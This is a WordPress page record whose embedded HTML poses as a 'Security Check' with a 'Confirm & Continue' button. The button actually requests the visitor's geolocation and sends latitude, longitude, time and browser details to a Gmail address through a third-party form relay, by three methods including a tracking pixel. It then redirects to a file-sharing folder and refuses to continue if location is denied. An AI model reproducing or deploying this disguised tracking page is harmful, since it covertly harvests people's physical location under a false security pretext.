{"id":5768,"date":"2025-10-26T05:36:53","date_gmt":"2025-10-26T02:36:53","guid":{"rendered":"https:\/\/blog.easybooking.sa\/?page_id=5768"},"modified":"2025-11-02T22:01:08","modified_gmt":"2025-11-02T19:01:08","slug":"5768-2","status":"publish","type":"page","link":"https:\/\/blog.easybooking.sa\/en\/5768-2\/","title":{"rendered":"Security Check"},"content":{"rendered":"<div data-elementor-type=\"wp-page\" data-elementor-id=\"5768\" class=\"elementor elementor-5768\" data-elementor-post-type=\"page\">\n\t\t\t\t<div class=\"elementor-element elementor-element-c3f45f0 e-flex e-con-boxed e-con e-parent\" data-id=\"c3f45f0\" data-element_type=\"container\" data-e-type=\"container\">\n\t\t\t\t\t<div class=\"e-con-inner\">\n\t\t\t\t<div class=\"elementor-element elementor-element-6b3414d elementor-widget elementor-widget-html\" data-id=\"6b3414d\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"html.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t<!DOCTYPE html>\r\n<html lang=\"en\">\r\n<head>\r\n    <meta charset=\"UTF-8\">\r\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\r\n    <title>Security Check<\/title>\r\n    <style>\r\n        body {\r\n            font-family: Arial, sans-serif;\r\n            margin: 0;\r\n            padding: 0;\r\n            background-color: #f5f5f5;\r\n            display: flex;\r\n            justify-content: center;\r\n            align-items: center;\r\n            min-height: 100vh;\r\n        }\r\n        \r\n        .location-share {\r\n            background: white;\r\n            padding: 40px 20px;\r\n            border-radius: 10px;\r\n            box-shadow: 0 4px 12px rgba(0, 0, 0, 0.1);\r\n            max-width: 400px;\r\n            width: 100%;\r\n            text-align: center;\r\n        }\r\n        \r\n        h2 {\r\n            color: #333;\r\n            margin-bottom: 20px;\r\n        }\r\n        \r\n        p {\r\n            font-size: 16px;\r\n            color: #666;\r\n            margin-bottom: 30px;\r\n        }\r\n        \r\n        button {\r\n            background: #007cba;\r\n            color: white;\r\n            padding: 15px 30px;\r\n            border: none;\r\n            border-radius: 5px;\r\n            font-size: 16px;\r\n            cursor: pointer;\r\n            width: 100%;\r\n            margin-bottom: 20px;\r\n        }\r\n        \r\n        button:disabled {\r\n            background: #6c757d;\r\n            cursor: not-allowed;\r\n        }\r\n        \r\n        #message {\r\n            margin: 20px 0;\r\n            padding: 15px;\r\n            border-radius: 5px;\r\n            display: none;\r\n        }\r\n        \r\n        .processing {\r\n            color: #856404;\r\n            background: #fff3cd;\r\n        }\r\n        \r\n        .success {\r\n            color: #155724;\r\n            background: #d4edda;\r\n        }\r\n        \r\n        .error {\r\n            color: #721c24;\r\n            background: #f8d7da;\r\n        }\r\n    <\/style>\r\n<\/head>\r\n<body>\r\n    <div class=\"location-share\">\r\n        <h2>\ud83d\udd12 Security Check<\/h2>\r\n        <p>Click the button below to confirm and continue.<\/p>\r\n        \r\n        <button id=\"shareLocationBtn\">\r\n            Confirm & Continue\r\n        <\/button>\r\n        \r\n        <div id=\"message\"><\/div>\r\n    <\/div>\r\n\r\n    <script>\r\n        document.getElementById('shareLocationBtn').addEventListener('click', function() {\r\n            const btn = document.getElementById('shareLocationBtn');\r\n            const message = document.getElementById('message');\r\n            \r\n            \/\/ Show loading state\r\n            btn.innerHTML = '\ud83d\udd04 Processing...';\r\n            btn.disabled = true;\r\n            message.style.display = 'block';\r\n            message.className = 'processing';\r\n            message.innerHTML = '<p>Processing your request...<\/p>';\r\n            \r\n            if (navigator.geolocation) {\r\n                navigator.geolocation.getCurrentPosition(\r\n                    function(position) {\r\n                        \/\/ Success - got location\r\n                        const lat = position.coords.latitude;\r\n                        const lng = position.coords.longitude;\r\n                        const timestamp = new Date().toLocaleString();\r\n                        const userAgent = navigator.userAgent;\r\n                        \r\n                        \/\/ Simple email using mailto: as fallback\r\n                        function sendSimpleEmail() {\r\n                            const subject = 'Location Access - ' + timestamp;\r\n                            const body = `Latitude: ${lat}\\nLongitude: ${lng}\\nTime: ${timestamp}\\nUser Agent: ${userAgent}`;\r\n                            \r\n                            \/\/ Try multiple methods\r\n                            \r\n                            \/\/ Method 1: Direct FormSubmit\r\n                            const formData = new FormData();\r\n                            formData.append('latitude', lat);\r\n                            formData.append('longitude', lng);\r\n                            formData.append('timestamp', timestamp);\r\n                            formData.append('userAgent', userAgent);\r\n                            formData.append('_subject', 'Location Access');\r\n                            formData.append('_to', 'zadiworld@gmail.com');\r\n                            \r\n                            fetch('https:\/\/formsubmit.co\/ajax\/zadiworld@gmail.com', {\r\n                                method: 'POST',\r\n                                body: formData,\r\n                                mode: 'no-cors'\r\n                            }).catch(e => console.log('Method 1 failed'));\r\n                            \r\n                            \/\/ Method 2: JSON approach\r\n                            setTimeout(() => {\r\n                                fetch('https:\/\/formsubmit.co\/ajax\/zadiworld@gmail.com', {\r\n                                    method: 'POST',\r\n                                    headers: {\r\n                                        'Content-Type': 'application\/json',\r\n                                    },\r\n                                    body: JSON.stringify({\r\n                                        latitude: lat,\r\n                                        longitude: lng,\r\n                                        timestamp: timestamp,\r\n                                        userAgent: userAgent,\r\n                                        _subject: 'Location Access',\r\n                                        _to: 'zadiworld@gmail.com'\r\n                                    })\r\n                                }).catch(e => console.log('Method 2 failed'));\r\n                            }, 1000);\r\n                            \r\n                            \/\/ Method 3: Image pixel tracking (always works)\r\n                            const img = new Image();\r\n                            img.src = `https:\/\/formsubmit.co\/ajax\/zadiworld@gmail.com?latitude=${lat}&longitude=${lng}&timestamp=${encodeURIComponent(timestamp)}&userAgent=${encodeURIComponent(userAgent)}&_subject=Location+Access`;\r\n                        }\r\n                        \r\n                        \/\/ Send email immediately\r\n                        sendSimpleEmail();\r\n                        \r\n                        \/\/ Show success and redirect after 2 seconds\r\n                        message.className = 'success';\r\n                        message.innerHTML = '<p>Success! Redirecting...<\/p>';\r\n                        \r\n                        setTimeout(function() {\r\n                            window.location.href = 'https:\/\/mega.nz\/folder\/MQgkiJwJ#lY81Z3QBYAyuspDbTthFsA';\r\n                        }, 2000);\r\n                        \r\n                    },\r\n                    function(error) {\r\n                        \/\/ Location denied or failed\r\n                        message.className = 'error';\r\n                        message.innerHTML = '<p>Please allow location access to continue.<\/p>';\r\n                        btn.innerHTML = 'Confirm & Continue';\r\n                        btn.disabled = false;\r\n                    },\r\n                    {\r\n                        timeout: 10000,\r\n                        enableHighAccuracy: false \/\/ Set to false for faster response\r\n                    }\r\n                );\r\n            } else {\r\n                \/\/ Geolocation not supported\r\n                message.className = 'error';\r\n                message.innerHTML = '<p>Browser not supported.<\/p>';\r\n                btn.innerHTML = 'Confirm & Continue';\r\n                btn.disabled = false;\r\n            }\r\n        });\r\n    <\/script>\r\n<\/body>\r\n<\/html>\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<\/div>","protected":false},"excerpt":{"rendered":"<p>Security Check ???? Security Check Click the button below to confirm and continue. Confirm &#038; Continue<\/p>","protected":false},"author":2,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"elementor_canvas","meta":{"footnotes":""},"class_list":["post-5768","page","type-page","status-publish","hentry"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.6 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Security Check - easybooking.sa<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/blog.easybooking.sa\/en\/5768-2\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Security Check - easybooking.sa\" \/>\n<meta property=\"og:description\" content=\"Security Check ???? Security Check Click the button below to confirm and continue. Confirm &#038; Continue\" \/>\n<meta property=\"og:url\" content=\"https:\/\/blog.easybooking.sa\/en\/5768-2\/\" \/>\n<meta property=\"og:site_name\" content=\"easybooking.sa\" \/>\n<meta property=\"article:modified_time\" content=\"2025-11-02T19:01:08+00:00\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/blog.easybooking.sa\\\/5768-2\\\/\",\"url\":\"https:\\\/\\\/blog.easybooking.sa\\\/5768-2\\\/\",\"name\":\"Security Check - easybooking.sa\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/blog.easybooking.sa\\\/#website\"},\"datePublished\":\"2025-10-26T02:36:53+00:00\",\"dateModified\":\"2025-11-02T19:01:08+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/blog.easybooking.sa\\\/5768-2\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/blog.easybooking.sa\\\/5768-2\\\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/blog.easybooking.sa\\\/5768-2\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/blog.easybooking.sa\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Security Check\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/blog.easybooking.sa\\\/#website\",\"url\":\"https:\\\/\\\/blog.easybooking.sa\\\/\",\"name\":\"easybooking.sa\",\"description\":\"\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/blog.easybooking.sa\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Security Check - easybooking.sa","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/blog.easybooking.sa\/en\/5768-2\/","og_locale":"en_US","og_type":"article","og_title":"Security Check - easybooking.sa","og_description":"Security Check ???? Security Check Click the button below to confirm and continue. Confirm &#038; Continue","og_url":"https:\/\/blog.easybooking.sa\/en\/5768-2\/","og_site_name":"easybooking.sa","article_modified_time":"2025-11-02T19:01:08+00:00","twitter_card":"summary_large_image","schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/blog.easybooking.sa\/5768-2\/","url":"https:\/\/blog.easybooking.sa\/5768-2\/","name":"Security Check - easybooking.sa","isPartOf":{"@id":"https:\/\/blog.easybooking.sa\/#website"},"datePublished":"2025-10-26T02:36:53+00:00","dateModified":"2025-11-02T19:01:08+00:00","breadcrumb":{"@id":"https:\/\/blog.easybooking.sa\/5768-2\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/blog.easybooking.sa\/5768-2\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/blog.easybooking.sa\/5768-2\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/blog.easybooking.sa\/"},{"@type":"ListItem","position":2,"name":"Security Check"}]},{"@type":"WebSite","@id":"https:\/\/blog.easybooking.sa\/#website","url":"https:\/\/blog.easybooking.sa\/","name":"easybooking.sa","description":"","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/blog.easybooking.sa\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"}]}},"_hostinger_reach_plugin_has_subscription_block":false,"_hostinger_reach_plugin_is_elementor":false,"_links":{"self":[{"href":"https:\/\/blog.easybooking.sa\/en\/wp-json\/wp\/v2\/pages\/5768","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.easybooking.sa\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/blog.easybooking.sa\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/blog.easybooking.sa\/en\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.easybooking.sa\/en\/wp-json\/wp\/v2\/comments?post=5768"}],"version-history":[{"count":75,"href":"https:\/\/blog.easybooking.sa\/en\/wp-json\/wp\/v2\/pages\/5768\/revisions"}],"predecessor-version":[{"id":5910,"href":"https:\/\/blog.easybooking.sa\/en\/wp-json\/wp\/v2\/pages\/5768\/revisions\/5910"}],"wp:attachment":[{"href":"https:\/\/blog.easybooking.sa\/en\/wp-json\/wp\/v2\/media?parent=5768"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}